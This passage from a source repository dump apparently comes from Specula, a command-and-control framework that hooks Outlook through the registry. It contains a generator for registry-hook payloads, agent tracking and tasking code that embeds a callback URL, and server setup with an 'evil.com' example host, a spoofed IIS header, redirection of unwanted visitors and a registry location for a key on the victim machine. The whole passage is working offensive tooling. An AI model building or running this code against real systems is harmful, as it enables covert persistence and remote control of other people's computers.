parser.add_option(\"-v\", \"--version\", dest=\"version\",\r\n                      help=\"Specify version of office, if not set it will include all versions. This only applies to .reg files. Specify with 16.0 , 15.0 , 14.0\")\r\n    #Add option to parse the config file...\r\n    (options, args) = parser.parse_args()\r\n\r\n    if options.url is None and options.config is False:\r\n        print(\"\\033[1;31m[!] RTFMException: Either use bool config (-c) to parse specConfig.ini or manually set url (-u) and other options. Use -h for help. Geez!\\033[0m\")\r\n        exit()\r\n    \r\n    if options.config:\r\n        config = configparser.ConfigParser()\r\n        config.read('specConfig.ini')\r\n        options.url = config['DEFAULT']['dns_name']+config['DEFAULT']['validate_url']\r\n        options.activex = True\r\n        options.junk = True\r\n    \r\n                \r\n    \r\n    print(\"\\033[1;32m\\n[+] Generating payloads\\033[0m\")\r\n    payloads = Payloads(options.url,options.encryptionkey, options.version, options.activex, options.outputpath, options.junk)\r\n    if options.outputpath: #Write to files\r\n        payloads.gen_outfile_registry_hooker()\r\n        print(\"\\033[1;32m\\n[+] All payloads save to {}\\033[0m\".format(options.outputpath))\r\n    else: #Print to screen\r\n        print(payloads.gen_registry_hooker())\r\n        print(\"\\033[1;32m\\n[+] All payloads printed to screen\\033[0m\")\r\n    \r\nif __name__ == '__main__':\r\n    main()"
  },
  {
    "path": "lib/core/helpers.py",
    "content": "#should track agents\r\n#should present agent add / remove for agents\r\nimport fnmatch\r\nimport os\r\nimport pickle\r\nimport copy\r\nimport random\r\nimport base64\r\nimport jinja2\r\nimport glob\r\nimport shlex\r\nimport json\r\nimport urllib.request as urllib2\r\nfrom importlib import import_module\r\nimport datetime\r\nfrom ipaddress import ip_network, ip_address\r\nfrom lib.core.specagents import AgentListClass\r\nfrom lib.core.specpayload import PayloadListClass\r\nfrom lib.core.setup import gconfig\r\nfrom lib.core.utility import TaskClass\r\n\r\nclass Helpers:\r\n    def __init__(self, weblog): #DATABASEFILENAME\r\n        self.logfile = open(gconfig.SPECULA_LOG_FILE, \"a+\")\r\n        self.oplog = open(gconfig.OPERATOR_LOG_FILE, \"a+\")\r\n        self.databasefilepath = gconfig.DATABASEFILENAME\r\n        self.payloadsfilepath = gconfig.PAYLOADFILENAME\r\n        self.basepath = os.path.dirname(os.path.dirname(os.path.dirname(__file__)))\r\n        self.logfilepath = gconfig.SPECULA_LOG_FILE\r\n        self.timeformat = gconfig.TIME_FORMAT\r\n        self.rccommands = []\r\n        self.view_id = gconfig.OUTLOOK_VIEW_ID\r\n        self.weblog = weblog\r\n        self.a_list = AgentListClass()\r\n        self.p_list = PayloadListClass()\r\n        self.modlist = {}\r\n        self.hiddenmods = {}\r\n        self.taskbooks = {}\r\n        self.completionlist = []\r\n        self.Rand = random.Random()\r\n        self.Rand.seed()\r\n        self.blocklist = []\r\n        self.allowlist = set() # items are added to the allowlist when they have been accepted once, blocklisting a allowlisted item will remove it from here\r\n        if gconfig.IP_blocklist is not None:\r\n            self.init_blocklist()\r\n\r\n    @staticmethod\r\n    def complete_path(path, line, **kwargs):\r\n        if os.path.isdir(path):\r\n            return glob.glob(os.path.join(path, '*'))\r\n        else:\r\n            return glob.glob(path + '*')\r\n\r\n    def getpayloaddir(self):\r\n        return os.path.join(self.basepath, \"data/payloads\")\r\n\r\n    @staticmethod\r\n    def getarguments(cmd):\r\n        cmdparse = shlex.shlex(cmd, posix=True)\r\n        cmdparse.escape = ''\r\n        cmdparse.whitespace_split = True\r\n        return list(iter(cmdparse))\r\n\r\n    # inserts the configured module \"module\" into the provided agents task list\r\n    # name must match what is found in the gui, otherwise callbacks will not function as expected\r\n    def insertTask(self, agent, module, name):\r\n        if name not in self.modlist:\r\n            raise RuntimeError(\"name provided to insertTask is not found in the list of modules, must follow normal 'usemodule' format\")\r\n        task = TaskClass(name,\r\n                         self.renderModule(module, agent),\r\n                         module.entry,\r\n                         copy.deepcopy(module.options),\r\n                         True)\r\n        agent.add_task(task)\r\n\r\n    # helper to set a module option from for a taskbook\r\n    @staticmethod\r\n    def setModOption(mod, optname, optval=None, prompt=\"value: \"):\r\n        if optval is None:\r\n            print('setting option {}'.format(optname))\r\n            optval = input(prompt)\r\n        while not mod.set_option(optname, optval):\r\n            print('Invalid option given, try again')\r\n            optval = input(prompt)\r\n\r\n\r\n\r\n    def addJitter(self, jitter, time):\r\n        round = int(time) + self.Rand.randint(0, int(jitter))\r\n        return str(round)\r\n\r\n\r\n\r\n    def sendPush(self, ip, hostname, msg):\r\n        if(gconfig.PUSHOVER_API_TOKEN is None or gconfig.PUSHOVER_API_TOKEN == \"\"):\r\n            return #don't send messages if you don't have someone to send them too\r\n        if gconfig.PUSHOVER_APP_API_TOKEN is None:\r\n            raise ValueError(\"Must update PUSHOVER_APP_API_TOKEN in config to use pushover\")\r\n        self.speclog(\"Push Msg {}:{} > {}\".format(ip, hostname, msg))\r\n        api_tokens = gconfig.PUSHOVER_API_TOKEN.split(\",\")\r\n        for a_token in api_tokens:\r\n            data = {\"token\": gconfig.PUSHOVER_APP_API_TOKEN,\r\n                    \"user\": a_token,\r\n                    \"message\": \"{}:{}\\n{}\".format(ip, hostname, msg)}\r\n            opener = urllib2.build_opener()\r\n            try:\r\n                req = urllib2.Request(\"https://api.pushover.net/1/messages.json\", data=json.dumps(data).encode('utf-8'),\r\n                                headers={'Content-Type': 'application/json'})\r\n                urlout = opener.open(req)\r\n                data = json.load(urlout)\r\n                if data['status'] != 1:\r\n                    print('Failed to send msg {}\\n\\nreason: {}'.format(msg, data['errors']))\r\n                urlout.close()\r\n\r\n            except urllib2.HTTPError as e:\r\n                print(\"Failed to send pushover notification\\nDouble check your pushover userkey and appkey in the config\\nError code: {}\".format(e.code))\r\n\r\n    def renderModule(self, module, agent):\r\n        if module.check_required() is False:\r\n            return\r\n        module.preprocess(agent)\r\n        data = \"\"\r\n        for item in module.depends: # append all expected dependency functions to top\r\n            with open(item) as fp:\r\n                data += \"\\n\" + fp.read() + \"\\n\"\r\n        with open(module.templatepath) as fp:\r\n            data += fp.read()\r\n        with open('helperFunctions/base_template.txt') as fp:\r\n            data += fp.read()\r\n        env = jinja2.Environment(autoescape=False)\r\n        doc = env.from_string(data)\r\n        # module.postprocess(agent) to be readded in a better form later if needed\r\n        context = {}\r\n        values = [{k: module.get_option(k)} for k in module.options.keys()]\r\n        for v in values:\r\n            context.update(v)\r\n        context.update({\"OUTLOOK_VIEW_ID\": gconfig.OUTLOOK_VIEW_ID,\r\n                        \"CALLBACKURL\": agent.url,\r\n                        \"ENTRY\": module.entry})\r\n        return doc.render(context)\r\n\r\n    @staticmethod\r\n    def parseURI(uri):\r\n        ssl = True if uri[:5].lower() == 'https' else False\r\n        if uri.count(':') != 1:\r\n            port = int(uri[uri.rfind(':') + 1:uri.find('/', 9)])\r\n            host = uri[uri.find('//') + 2:uri.rfind(':')]\r\n        else:\r\n            port = 80 if not ssl else 443\r\n            host = uri[uri.find('//') + 2:uri.find('/', 9)]\r\n        path = uri[uri.find('/', 9):]\r\n        return ssl, port, path, host\r\n\r\n    def closelog(self): # this is only being used because tornado is a PITA for proper shutdown\r\n        if self.logfile is not None:\r\n            self.logfile.close()\r\n            self.logfile = None\r\n\r\n    def speclog(self, logline, output=False):\r\n        msg = datetime.datetime.now().strftime(self.timeformat) + \" - \" + logline + \"\\n\"\r\n        self.logfile.write(msg)\r\n        self.logfile.flush()\r\n        if output:\r\n            print(msg)\r\n\r\n    def operatorlog(self, logline, output=False):\r\n        msg = datetime.datetime.now().strftime(self.timeformat) + \"\\t\" + logline + \"\\n\"\r\n        self.oplog.write(msg)\r\n        self.oplog.flush()\r\n        if output:\r\n            print(msg)\r\n\r\n\r\n    def get_module(self, p, hidden=False):\r\n        mod = tmp = None\r\n        if hidden:\r\n            mod, tmp = self.hiddenmods[p]\r\n        else:\r\n            mod, tmp = self.modlist[p]\r\n        module = mod.Spec(tmp, self)\r\n        return module\r\n\r\n    def loadTaskBooks(self, path):\r\n        pattern = '*.py'\r\n        for root, dirs, files in os.walk(path):\r\n            for filename in fnmatch.filter(files, pattern):\r\n                #  don't load up __init__\r\n                if filename == \"__init__.py\":\r\n                    continue\r\n                filePath = os.path.join(root, filename)  # full path to our module\r\n                modpath = filePath.replace('/', '.')[2:-3]\r\n                # load the module\r\n                mod = import_module(modpath)\r\n                self.taskbooks[filePath[len('./Taskbooks/'):-3]] = mod\r\n\r\n    #opens path and enumerates all paths to load modules\r\n    def loadModules(self, path, hidden=False):\r\n        pattern = '*.py'\r\n        for root, dirs, files in os.walk(path):\r\n            for filename in fnmatch.filter(files, pattern):\r\n                #  don't load up __init__\r\n                if filename == \"__init__.py\":\r\n                    continue\r\n                filePath = os.path.join(root, filename) #full path to our module\r\n                name = filename[:-3]\r\n                modpath = filePath.replace('/', '.')[2:-3]\r\n                template = filePath[:-3] + \".txt\"\r\n                if not os.access(template, os.R_OK):\r\n                    raise RuntimeError(\"Unable to read template associated with file {}\".format(filePath))\r\n                #load the module\r\n                mod = (import_module(modpath), template)\r\n                if hidden:\r\n                    self.hiddenmods[filePath[len('./hiddenFunctions/'):-3]] = mod\r\n                else:\r\n                    self.modlist[filePath[len('./functions/'):-3]] = mod\r\n\r\n    #static individual loader for hidden helper functions\r\n    def loadModule(self, path):\r\n        modpath = path.replace('/', '.')[2:-3]\r\n        template = path[:-3] + \".txt\"\r\n        if not os.access(template, os.R_OK):\r\n            raise RuntimeError(\"Unable to read template associated with file {}\".format(path))\r\n        # load the module\r\n        print(modpath)\r\n        print(template)\r\n        mod = import_module(modpath)\r\n        return mod.Spec(template, self)\r\n\r\n    def save_agents_to_file(self, filename = None):\r\n        _filename = filename if filename is not None else self.databasefilepath\r\n        with open(_filename, \"wb\") as f:\r\n            pickle.dump(self.a_list, f, pickle.HIGHEST_PROTOCOL)\r\n\r\n\r\n    def load_agents_from_file(self, filename = None):\r\n        _filename = filename if filename is not None else self.databasefilepath\r\n        if os.path.exists(_filename):\r\n            with open(_filename, \"rb\") as f:\r\n                for agent in pickle.load(f):\r\n                    self.a_list.append(agent)\r\n\r\n    def save_payloads_to_file(self, filename = None):\r\n        _filename = filename if filename is not None else self.payloadsfilepath\r\n        with open(_filename, \"wb\") as f:\r\n            pickle.dump(self.p_list, f, pickle.HIGHEST_PROTOCOL)\r\n\r\n\r\n    def load_payloads_from_file(self, filename = None):\r\n        _filename = filename if filename is not None else self.payloadsfilepath\r\n        if os.path.exists(_filename):\r\n            with open(_filename, \"rb\") as f:\r\n                for agent in pickle.load(f):\r\n                    self.p_list.append(agent)\r\n                \r\n    def init_blocklist(self):\r\n        file = gconfig.IP_blocklist\r\n        self.allowlist = set() # can be used as a re-init so we want to re zero these\r\n        self.blocklist = []\r\n        if os.access(file, os.R_OK):\r\n            with open(file) as fp:\r\n                self.blocklist = [ip_network(i.strip('\\r\\n'), strict=False) for i in fp.readlines()] #read all the lines, remove newlines they are all now networks\r\n        else:\r\n            # This can throw and we are intentionally letting it kill the system if it does\r\n            with open(file, 'w') as fp: # create the blocklist file, we may update it later\r\n                pass\r\n\r\n    def listblocklist(self):\r\n        if gconfig.IP_blocklist is None:\r\n            print('blocklist currently disabled, to enable set IP_blocklist in the settings')\r\n        else:\r\n            print('blocklisted networks and IP\\'s')\r\n            for net in self.blocklist:\r\n                print('\\t{}'.format(net))\r\n\r\n    def listallowlist(self):\r\n        if gconfig.IP_blocklist is None:\r\n            print('blocklist is currently disabled, ignoring allowlist')\r\n            print('set IP_blocklist to a file to enable blocklist')\r\n        else:\r\n            print('current items in allowlist')\r\n            for i in self.allowlist:\r\n                print(\"\\t{}\".format(i))\r\n\r\n    def addblocklist(self, ip, auto=True):\r\n        if '/' in ip:\r\n            print('''this interface does not support CIDR blocklist adds\r\n            please add your CIDR range to the IP_blocklist file and then restart specula''')\r\n            return\r\n        if gconfig.IP_blocklist is None:\r\n            if not auto:\r\n                print('blocklist is currently disabled because the config option is not set. Please set IP_blocklist\\n'\r\n                      'then try again')\r\n            return\r\n        else:\r\n            #next lets validate its not already covered by a blocklist range\r\n            if not self.inblocklist(ip):\r\n                try:\r\n                    self.blocklist.append(ip_network(ip, strict=False))\r\n                    with open(gconfig.IP_blocklist, 'a') as fp:\r\n                        fp.write('\\n' + ip)\r\n                except Exception as msg:\r\n                    print('failed to add ip to blocklist: {}'.format(msg))\r\n            #We do this after because if it wasn't in the blocklist it'll be added when we check\r\n            if ip in self.allowlist:\r\n                self.allowlist.remove(ip)\r\n\r\n\r\n    \"\"\"Checks if a given ip is in the blocklist, returns TRUE if it is, else False\"\"\"\r\n    def inblocklist(self, ip):\r\n        ipaddr = None\r\n        if gconfig.IP_blocklist is None or ip in self.allowlist:  # quick out for known good hosts / disabled blocklist\r\n            return False\r\n        try:\r\n            ipaddr = ip_address(ip)\r\n        except Exception as msg:\r\n            print(\"Invalid ip when checking blocklist: {}\".format(msg))\r\n        for net in self.blocklist:\r\n            if ipaddr in net:\r\n                return True\r\n        self.allowlist.add(ip)\r\n        return False\r\n\r\n    def pastenddate(self):\r\n        if gconfig.END_DATE is None:\r\n            return False\r\n        else:\r\n            if datetime.date.today() >= gconfig.END_DATE:\r\n                return True\r\n            return False\r\n\r\n\r\n\r\n\r\n\r\n\r\n"
  },
  {
    "path": "lib/core/setup.py",
    "content": "from configparser import ConfigParser\r\nfrom lib.validators.generic import *\r\nfrom lib.validators.files import *\r\nimport os\r\nimport datetime\r\nimport random\r\nimport string\r\n\r\n# to add a new setting Follow these steps\r\n# 1 Add a @property and @<propname>.setter, follow format of existing options\r\n# 2 add an entry into _setup setting your property / providing an optional default\r\n# 3 add your setting to output in specula's do_settings command in specula.py\r\n# 4 if special actions need to occur when this setting is updated on the fly, modify do_updateSettings in specula.py\r\n\r\ndef isdate(value):\r\n    if value == \"NONE\":\r\n        return True\r\n    else:\r\n        try:\r\n            year, month, day = value.split('/')\r\n            datetime.date(int(year), int(month), int(day)) # no exceptions, cool\r\n            return True\r\n        except Exception as msg:\r\n            print(\"Invalid date, please use NONE to disable EndDate or enter a day in the format of year/month/day\")\r\n            return False\r\n\r\n\r\nclass Config:\r\n    def __init__(self, configpath):\r\n        self._config = None\r\n        self.DEBUG=False\r\n        self._configpath = configpath\r\n        if not os.access(configpath, os.R_OK):\r\n            print(\"A config file was not found at path {}\\nStarting initial setup\".format(configpath))\r\n            self._setup()\r\n        else:\r\n            self._config = ConfigParser(interpolation=None)\r\n            self._config.read('specConfig.ini')\r\n\r\n\r\n    '''Attempts to get an option\r\n    msg is the string to prompt the user with\r\n    validator is an optional function to be called to validate, return True if valid, else false\r\n    if value is set, our first attempt should not prompt'''\r\n    @staticmethod\r\n    def _getopt(msg, validator=None, value=None):\r\n        opt = input(msg + ': ') if value is None else value\r\n        while opt == \"\" or False if validator is None else not validator(opt):\r\n            print('Input is invalid, please try again')\r\n            opt = input(msg + ': ')\r\n        return opt\r\n\r\n    def _setup(self):\r\n        self._config = ConfigParser(interpolation=None)\r\n        self._config['DEFAULT'] = {}\r\n        print(\"Pressing ENTER will set the default option\")\r\n        self.DNS_NAME = None\r\n        self.PUSHOVER_API_TOKEN = input(\"Please specify your pushover.net user api token (Not app token!) or NONE if you do not want notifications(default:NONE): \") or \"NONE\"\r\n        self.PUSHOVER_APP_API_TOKEN = input(\"Please specify your pushover.net app api token or NONE if you do not want notifications(default:NONE): \") or \"NONE\"\r\n        self.END_DATE = input(\"Enter end date in the format of Year/Month/Day (Agent terminates after this date) or NONE if you do not want an end date(default:NONE): \") or \"NONE\"\r\n        self.VALIDATE_URL = input(\"What url do you want for validation?(default:/plugin/search/): \") or \"/plugin/search/\"\r\n        self.BASE_PATH_AGENT_COM = input(\"What should be used for the base agent coms path(default:/css/): \") or \"/css/\"\r\n        self.BASE_PAYLOAD_URL = input(\"What should be used for base payload hosting(default:/random[10]/): \") or ''.join(random.choices(string.ascii_letters + string.digits, k=10))+\"/\"\r\n        self.OUTLOOK_VIEW_ID = \"SpeculaViewID\"\r\n        self.TIME_FORMAT = input('What time format should be used in logs(default:%m/%d/%Y-%H:%M:%S): ') or '%m/%d/%Y-%H:%M:%S'\r\n        self.INITIAL_CHECKIN_COUNT = input(\"How many checkins to approve an agent, 0 for manual approval(default:5): \") or \"5\"\r\n        self.REDIRECT_FALSE_AGENTS = input(\"Where should we send invalid agents? Either a url (https://www.outlook.com) or the word template (default:template): \") or \"template\"\r\n        self.DEFAULT_REFRESH_TIME = input(\"Default agent refresh time in seconds(default:120): \") or \"120\"\r\n        self.JITTER = input(\"Please set a max jitter value in seconds(default:30): \") or \"30\"\r\n        self.CLSID = '0006F063-0000-0000-C000-000000000046'\r\n        self.SPECULA_LOG_FILE = input('What should be our operational log file(default:specula_log.txt): ') or 'specula_log.txt'\r\n        self.OPERATOR_LOG_FILE = input('What should be our operator log file(default:operator_log.txt): ') or 'operator_log.txt'\r\n        self.SERVER_HEADER = input(\"What should we use for a server header(default:Microsoft-IIS/8.5): \") or 'Microsoft-IIS/8.5'\r\n        self.ENCRYPTIONKEY_REGISTRY_LOCATION = input(\"In what key should the encryption value be stored on the client (Hive is always HKCU - default:SOFTWARE\\\\Microsoft\\\\Office\\\\<VERSION>\\\\Outlook\\\\UserInfo): \") or \"DEFAULT\"\r\n        self.ENCRYPTIONKEY_VALUENAME = input(\"In what value name under the previous specified key location should the encryptionkey be stored (default:KEY): \") or \"KEY\"\r\n        self.DATABASEFILENAME = \"agents.db\"\r\n        self.PAYLOADFILENAME = \"payloads.db\"\r\n        if self.DNS_NAME.startswith('https'): #auto set to true or false based on DNS_NAME\r\n            self.SSL = \"True\"\r\n        else:\r\n            self.SSL = \"false\"\r\n        if self.SSL:\r\n            self.CERT_FILE = input(\"Path to server cert (default:./ssl/ssl-cert-snakeoil.pem): \") or './ssl/ssl-cert-snakeoil.pem'\r\n            self.KEY_FILE = input(\"Path to server key (default:./ssl/ssl-cert-snakeoil.key): \") or './ssl/ssl-cert-snakeoil.key'\r\n            self.WEBSERVER_PORT = input(\"What port should webserver listen on (default:443): \") or '443'\r\n        else:\r\n            self.CERT_FILE = \"\"\r\n            self.KEY_FILE = \"\"\r\n            self.WEBSERVER_PORT = input(\"What port should webserver listen on (default:80): \") or '80'\r\n        self.IP_blocklist = input(\"Please specify a file to use for blocklists(Defaultblocklist.txt) or NONE to not use blocklisting(default:NONE): \") or \"NONE\"\r\n        # Subscription config\r\n        self.PUSH_VALIDATION = \"True\"\r\n        self.PUSH_NEWAGENT = \"True\"\r\n        self.PUSH_NEWIP = \"True\"\r\n        self.PUSH_UNEXPECTEDCALLBACK = \"True\"\r\n        self.PUSH_UNKNOWNCONNECTION = \"True\"\r\n        self.PUSH_PRESTAGE = \"True\"\r\n        self.PUSH_CONNECTION_OUTSIDESPECULA = \"False\"\r\n\r\n    def _save_config(self):\r\n        with open(self._configpath, 'w') as fp:\r\n            self._config.write(fp)\r\n\r\n    @property\r\n    def PUSHOVER_API_TOKEN(self):\r\n        return self._config['DEFAULT']['PUSHOVER_API_TOKEN'] if self._config['DEFAULT']['PUSHOVER_API_TOKEN'] != \"NONE\" else None\r\n\r\n    @PUSHOVER_API_TOKEN.setter\r\n    def PUSHOVER_API_TOKEN(self, value):\r\n        opt = self._getopt(\"specify your pushover.net user api token or NONE if you do not want notifications\", value=value)\r\n        if opt.upper() == \"NONE\":\r\n            opt = \"NONE\"\r\n        self._config['DEFAULT']['PUSHOVER_API_TOKEN'] = opt\r\n        self._save_config()\r\n\r\n    @property\r\n    def PUSHOVER_APP_API_TOKEN(self):\r\n        return self._config['DEFAULT']['PUSHOVER_APP_API_TOKEN'] if self._config['DEFAULT']['PUSHOVER_APP_API_TOKEN'] != \"NONE\" else None\r\n\r\n    @PUSHOVER_APP_API_TOKEN.setter\r\n    def PUSHOVER_APP_API_TOKEN(self, value):\r\n        opt = self._getopt(\"specify your pushover.net app api token or NONE if you do not want notifications\", value=value)\r\n        if opt.upper() == \"NONE\":\r\n            opt = \"NONE\"\r\n        self._config['DEFAULT']['PUSHOVER_APP_API_TOKEN'] = opt\r\n        self._save_config()\r\n\r\n    @property\r\n    def TIME_FORMAT(self):\r\n        return self._config['DEFAULT']['TIME_FORMAT']\r\n\r\n    @TIME_FORMAT.setter #some kind of validator should probably go on here...\r\n    def TIME_FORMAT(self, value):\r\n        self._config['DEFAULT']['TIME_FORMAT'] = value\r\n        self._save_config()\r\n\r\n    @property\r\n    def DNS_NAME(self):\r\n        return self._config['DEFAULT']['DNS_NAME']\r\n\r\n    @DNS_NAME.setter\r\n    def DNS_NAME(self, value):\r\n        self._config['DEFAULT']['DNS_NAME'] = self._getopt(\"Please provide a fully qualified dns name (example:http://evil.com)\",\r\n                                                           validator=iswebaddress, value=value)\r\n        self._save_config()\r\n\r\n    @property\r\n    def INITIAL_CHECKIN_COUNT(self):\r\n        return int(self._config['DEFAULT']['INITIAL_CHECKIN_COUNT'])\r\n\r\n    @INITIAL_CHECKIN_COUNT.setter\r\n    def INITIAL_CHECKIN_COUNT(self,value):\r\n        self._config['DEFAULT']['INITIAL_CHECKIN_COUNT'] = self._getopt(\"How many checkings to authenticate an agent (use 0 for manual approval)\",\r\n                                                                        validator=isint, value=value)\r\n        self._save_config()\r\n\r\n    @property\r\n    def VALIDATE_URL(self):\r\n        return self._config['DEFAULT']['VALIDATE_URL']\r\n\r\n    @VALIDATE_URL.setter\r\n    def VALIDATE_URL(self, value):\r\n        opt  = self._getopt(\"please define a path for the validate url\", value=value)\r\n        if opt[0] != '/':\r\n            opt = '/' + opt\r\n        self._config['DEFAULT']['VALIDATE_URL'] = opt\r\n        self._save_config()\r\n\r\n    @property\r\n    def BASE_PATH_AGENT_COM(self):\r\n        return self._config['DEFAULT']['BASE_PATH_AGENT_COM']\r\n\r\n    @BASE_PATH_AGENT_COM.setter\r\n    def BASE_PATH_AGENT_COM(self, value):\r\n        opt  = self._getopt(\"please define a base path used for agent urls / comms\", value=value)\r\n        if opt[0] != '/':\r\n            opt = '/' + opt\r\n        self._config['DEFAULT']['BASE_PATH_AGENT_COM'] = opt\r\n        self._save_config()\r\n    \r\n    @property\r\n    def BASE_PAYLOAD_URL(self):\r\n        return self._config['DEFAULT']['BASE_PAYLOAD_URL']\r\n\r\n    @BASE_PAYLOAD_URL.setter\r\n    def BASE_PAYLOAD_URL(self, value):\r\n        opt  = self._getopt(\"please define a base path used for hosting payloads\", value=value)\r\n        if opt[0] != '/':\r\n            opt = '/' + opt\r\n        self._config['DEFAULT']['BASE_PAYLOAD_URL'] = opt\r\n        self._save_config()\r\n\r\n    @property\r\n    def REDIRECT_FALSE_AGENTS(self):\r\n        return self._config['DEFAULT']['REDIRECT_FALSE_AGENTS']\r\n\r\n    @REDIRECT_FALSE_AGENTS.setter\r\n    def REDIRECT_FALSE_AGENTS(self, value):\r\n        self._config['DEFAULT']['REDIRECT_FALSE_AGENTS'] = self._getopt('Where should we send Blocked and invalid agents',\r\n                                                                        value=value)\r\n        self._save_config()\r\n\r\n    @property\r\n    def ENCRYPTIONKEY_VALUENAME(self):\r\n        return self._config['DEFAULT']['ENCRYPTIONKEY_VALUENAME']\r\n\r\n    @ENCRYPTIONKEY_VALUENAME.setter\r\n    def ENCRYPTIONKEY_VALUENAME(self, value):\r\n        self._config['DEFAULT']['ENCRYPTIONKEY_VALUENAME'] = self._getopt('What should the encryptionkey name in the registry be', value=value)\r\n        self._config['DEFAULT']['ENCRYPTIONKEY_VALUENAME'] = \"\\\"\" + self._config['DEFAULT']['ENCRYPTIONKEY_VALUENAME'] + \"\\\"\"\r\n        self._save_config()\r\n\r\n    @property\r\n    def ENCRYPTIONKEY_REGISTRY_LOCATION(self):\r\n        return self._config['DEFAULT']['ENCRYPTIONKEY_REGISTRY_LOCATION']\r\n\r\n    @ENCRYPTIONKEY_REGISTRY_LOCATION.setter\r\n    def ENCRYPTIONKEY_REGISTRY_LOCATION(self, value):\r\n        self._config['DEFAULT']['ENCRYPTIONKEY_REGISTRY_LOCATION'] = self._getopt('Where should the encryption key be stored on the client', value=value)\r\n        if self._config['DEFAULT']['ENCRYPTIONKEY_REGISTRY_LOCATION'] == \"DEFAULT\":\r\n            self._config['DEFAULT']['ENCRYPTIONKEY_REGISTRY_LOCATION'] = \"\\\"Software\\\\Microsoft\\\\Office\\\\\\\"  & Left(outlookapp.version,4) & \\\"\\\\Outlook\\\\UserInfo\\\"\"\r\n        else:\r\n            self._config['DEFAULT']['ENCRYPTIONKEY_REGISTRY_LOCATION'] = \"\\\"\" + self._config['DEFAULT']['ENCRYPTIONKEY_REGISTRY_LOCATION'] + \"\\\"\"\r\n        self._save_config()\r\n\r\n\r\n    @property\r\n    def DEFAULT_REFRESH_TIME(self):\r\n        return self._config['DEFAULT']['DEFAULT_REFRESH_TIME']#used as a string which is why we don't int convert\r\n\r\n    @DEFAULT_REFRESH_TIME.setter\r\n    def DEFAULT_REFRESH_TIME(self,value):\r\n        self._config['DEFAULT']['DEFAULT_REFRESH_TIME'] = self._getopt(\"Default agent refresh time in seconds\",\r\n                                                                       validator=isint, value=value)\r\n        self._save_config()\r\n\r\n    @property\r\n    def SPECULA_LOG_FILE(self):\r\n        return self._config['DEFAULT']['specula_log_file']\r\n\r\n    @SPECULA_LOG_FILE.setter\r\n    def SPECULA_LOG_FILE(self,value):\r\n        self._config['DEFAULT']['SPECULA_LOG_FILE'] = self._getopt(\"Where should specula log operational messages\",\r\n                                                                   value=value)\r\n        self._save_config()\r\n\r\n    @property\r\n    def OPERATOR_LOG_FILE(self):\r\n        return self._config['DEFAULT']['OPERATOR_LOG_FILE']\r\n\r\n    @OPERATOR_LOG_FILE.setter\r\n    def OPERATOR_LOG_FILE(self,value):\r\n        self._config['DEFAULT']['OPERATOR_LOG_FILE'] = self._getopt(\"Where should operator log operational messages\",\r\n                                                                   value=value)\r\n        self._save_config()\r\n\r\n    @property\r\n    def SERVER_HEADER(self):\r\n        return self._config['DEFAULT']['SERVER_HEADER']\r\n\r\n    @SERVER_HEADER.setter\r\n    def SERVER_HEADER(self, value):\r\n        self._config['DEFAULT']['SERVER_HEADER'] = self._getopt(\"What should this server identify itself as\",\r\n                                                                value=value)\r\n        self._save_config()\r\n\r\n    @property\r\n    def OUTLOOK_VIEW_ID(self):\r\n        return self._config['DEFAULT']['OUTLOOK_VIEW_ID']\r\n\r\n    @OUTLOOK_VIEW_ID.setter\r\n    def OUTLOOK_VIEW_ID(self, value):\r\n        self._config['DEFAULT']['OUTLOOK_VIEW_ID'] = self._getopt(\"What should outlook use as a view id\",\r\n                                                                  value=value)\r\n        self._save_config()\r\n\r\n    @property\r\n    def CLSID(self):\r\n        return self._config['DEFAULT']['CLSID']\r\n\r\n    @CLSID.setter\r\n    def CLSID(self, value):\r\n        self._config['DEFAULT']['CLSID'] = self._getopt(\"What CLSID should HTML use when rendering\",\r\n                                                                  value=value)\r\n        self._save_config()\r\n\r\n    @property\r\n    def DATABASEFILENAME(self):\r\n        return self._config['DEFAULT']['DATABASEFILENAME']\r\n\r\n    @DATABASEFILENAME.setter\r\n    def DATABASEFILENAME(self,value):\r\n        self._config['DEFAULT']['DATABASEFILENAME'] = self._getopt(\"Filename for agents database\",\r\n                                                                   value=value)\r\n        self._save_config()\r\n\r\n    @property\r\n    def PAYLOADFILENAME(self):\r\n        return self._config['DEFAULT']['PAYLOADFILENAME']\r\n\r\n    @PAYLOADFILENAME.setter\r\n    def PAYLOADFILENAME(self,value):\r\n        self._config['DEFAULT']['PAYLOADFILENAME'] = self._getopt(\"Filename for payloads database\",\r\n                                                                   value=value)\r\n        self._save_config()\r\n\r\n    @property\r\n    def SSL(self):\r\n        return bool(self._config['DEFAULT']['SSL'])\r\n\r\n    @SSL.setter\r\n    def SSL(self, value):\r\n        self._config['DEFAULT']['SSL'] = \"\" if self._getopt(\"Should we use SSL(True/False)\", validator=isboolstring,\r\n                                                            value=value).lower() == \"false\" else \"True\"\r\n        self._save_config()\r\n\r\n\r\n    @property\r\n    def CERT_FILE(self):\r\n        return \"\" if self.SSL is False else self._config['DEFAULT']['CERT_FILE']\r\n\r\n    @CERT_FILE.setter\r\n    def CERT_FILE(self,value):\r\n        self._config['DEFAULT']['CERT_FILE'] = value if value == \"\" else \\\r\n            self._getopt(\"path to server cert\", validator=isreadable, value=value)\r\n        self._save_config()\r\n\r\n    @property\r\n    def KEY_FILE(self):\r\n        return \"\" if self.SSL is False else self._config['DEFAULT']['KEY_FILE']\r\n\r\n    @KEY_FILE.setter\r\n    def KEY_FILE(self,value):\r\n        self._config['DEFAULT']['KEY_FILE'] = value if value == \"\" else\\\r\n            self._getopt(\"path to server key\", validator=isreadable, value=value)\r\n        self._save_config()\r\n\r\n    @property\r\n    def JITTER(self):\r\n        return self._config['DEFAULT']['JITTER']\r\n\r\n    @JITTER.setter\r\n    def JITTER(self, value):\r\n        self._config['DEFAULT']['JITTER'] = self._getopt(\"Please set a max jitter value in seconds\",\r\n                                                         validator=isint, value=value)\r\n        self._save_config()\r\n\r\n    @property\r\n    def IP_blocklist(self):\r\n        return self._config['DEFAULT']['IP_blocklist'] if self._config['DEFAULT']['IP_blocklist'] != \"NONE\" else None\r\n\r\n    @IP_blocklist.setter\r\n    def IP_blocklist(self, value):\r\n        self._config['DEFAULT']['IP_blocklist'] = self._getopt(\"Please specify a file to use for blocklists, NONE to disable\",value=value)\r\n        self._save_config()\r\n\r\n    @property\r\n    def END_DATE(self):\r\n        if self._config['DEFAULT']['END_DATE'] == \"NONE\":\r\n            return None\r\n        else:\r\n            y, m, d = self._config['DEFAULT']['END_DATE'].split('/')\r\n            return datetime.date(int(y), int(m), int(d))\r\n\r\n    @END_DATE.setter\r\n    def END_DATE(self, value):\r\n        self._config['DEFAULT']['END_DATE'] = self._getopt(\"Enter end date in the format of Year/Month/Day (Agent terminates after this date) or 